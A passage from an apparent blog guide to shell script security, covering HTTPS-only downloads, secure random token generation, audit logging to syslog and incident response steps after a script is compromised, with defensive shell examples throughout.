Scripts fetch things over the network, and the defaults are not always the safest choice. Use HTTPS only, fail on HTTP errors, and do not follow a redirect to a different scheme. curl --proto '=https' --tlsv1.2 restricts the protocol, -f fails on errors, -sS hides progress but keeps errors, -L follows redirects and --proto-redir '=https' keeps redirects on HTTPS. Never use -k or --insecure, which turns off certificate checking and makes the connection trivially interceptable.

Shell
curl --proto '=https' --proto-redir '=https' --tlsv1.2 -fsSL --max-time 30 \
     --retry 3 --retry-connrefused -o file.tgz "$url"
wget --https-only --secure-protocol=TLSv1_2 -q -O file.tgz "$url"
curl --cacert /etc/ssl/internal-ca.pem -fsS https://internal.example.org/health

For an internal service with a private certificate authority, point to the CA file instead of disabling verification. Tokens go in headers read from a file or standard input and not on the command line, as described earlier, and URLs with embedded credentials such as https://user:pass@host/ end up in process lists and logs, so avoid them. Pin to a specific version of whatever you download, so that a compromised "latest" does not reach you automatically.

Generating random values and passwords

Do not use $RANDOM for anything security related: it is a 15-bit pseudo-random number, predictable and seeded by the shell. Read from the kernel's source, /dev/urandom, or use a tool built on it. openssl rand, head -c from the device and uuidgen (the random variant) all work. Encode binary into text with base64 or xxd, and trim to the length you need.

Shell
openssl rand -hex 16
head -c 24 /dev/urandom | base64 | tr -d '/+=' | cut -c1-24
tr -dc 'A-Za-z0-9' < /dev/urandom | head -c 20; echo
uuidgen -r

The third form shows a classic pitfall: with pipefail on, the tr process gets SIGPIPE when head exits and the pipeline reports failure, even though the output is right; run it in a subshell without the option or take the value with a different construction. For tokens that gate access, 128 bits of randomness is a sound minimum, which is 32 hexadecimal characters. Store the result in a file with mode 600 and not in a variable that is passed on command lines.

Audit trails: knowing what a script did

When something goes wrong, you want to know what ran, as whom, with what input, and what it changed. Scripts that make changes should log them as events, not just progress. Include who or what triggered the run, the host, and the identifiers of what was touched. Send the log to a place the script's user cannot rewrite, such as syslog or the journal, and not to a file the same account can edit. logger writes to syslog with a tag and a priority, and the journal keeps who sent it.

Shell
audit() { logger -t "deploy-audit" -p auth.notice -- "user=${SUDO_USER:-$USER} host=$(hostname) $*"; }
audit "action=restart service=app.service rev=$GIT_SHA"
audit "action=rm path=$target reason=retention"
journalctl -t deploy-audit --since today --no-pager

The -- after the options prevents a message starting with a dash being read as one. Log the decisions and the destructive operations, with enough detail to reconstruct them, and leave out the secrets. For privileged tasks, sudo itself logs each command with the invoking user, which is one reason to use it in preference to switching to root with a shell. Keep audit logs for as long as your policy needs, and ship them to a central system.

When a script has been compromised

Treat a suspected compromise of a script, or of the account it runs as, as an incident. Stop the schedule first so it cannot run again. Preserve evidence: copy the script, its logs, the crontab or unit files and the shell history before changing them. Work out what the script could reach and assume it was used: rotate every credential it held, including API tokens, SSH keys and database passwords. Review what it changed since the last known good state, using version control, file modification times and package verification. Check for persistence an attacker would add, such as new cron jobs, timers, authorized keys, unit files and shell profile changes.

Shell
sudo systemctl disable --now backup.timer
sudo tar -czf /root/evidence-$(date +%F).tgz /usr/local/bin /etc/cron* /etc/systemd/system /var/log
sudo find / -xdev -newermt '2026-11-01' -type f -not -path '/proc/*' 2>/dev/null | head -50
sudo debsums -c 2>/dev/null | head
sudo find /home /root -name authorized_keys -mtime -14 -ls

Rebuild from a known good image where you can, because proving that a running system is clean is harder than replacing it. Afterwards, write down how the script was reached and fix the cause: an unquoted variable, a writable file in a privileged path, a secret in a log. The checklist in this guide exists to make the second incident less likely than the first, and the tests in the testing guide can pin the fix so that it stays.

Where this does not apply

When the shell is the wrong language. A script that parses untrusted structured data, serves network requests, handles authentication or enforces a policy should not be a shell script at all. Use a language with real data types, libraries for parsing and escaping, and a testing culture. The effort to make shell safe for those jobs exceeds the effort to write them elsewhere.

Isolation instead of correctness. For running untrusted code, as in CI or a sandbox, careful scripting is a weak control. Use containers, VMs, seccomp, user namespaces and resource limits, and assume the script inside is hostile.

Scripts with no boundary. A throwaway command on your own machine with your own data does not need the full list. Apply the habits that cost nothing, such as quoting, and skip the rest.

Quoting alone. It is necessary and not sufficient. Option injection, arithmetic evaluation, symlink races and environment variables are not fixed by quotes, which is why the other sections exist.

Windows and PowerShell. The rules differ by shell. PowerShell has its own injection patterns, such as Invoke-Expression, and Windows file names have their own special cases.

Security and testing support each other, so continue to testing shell scripts with Bats and ShellCheck, where the hostile inputs above become repeatable tests. For the fundamentals behind the quoting rules, see the Bash scripting tutorial. For SSH, the other major way scripts reach privilege, see the SSH guide, and for running scripts with limits and a sandbox, the cron and systemd timers guide.

Primary sources used here: the Bash Reference Manual, the POSIX Shell Command Language, mktemp(1), sudoers(5), setpriv(1), credentials(7), systemd.exec(5), CWE-78 on OS command injection, CWE-377 on insecure temporary files and the ShellCheck SC2086 page.

Share

Keep reading

Get new posts by email

One email when a new post is published. No spam.

Unsubscribe in one click. No spam, ever.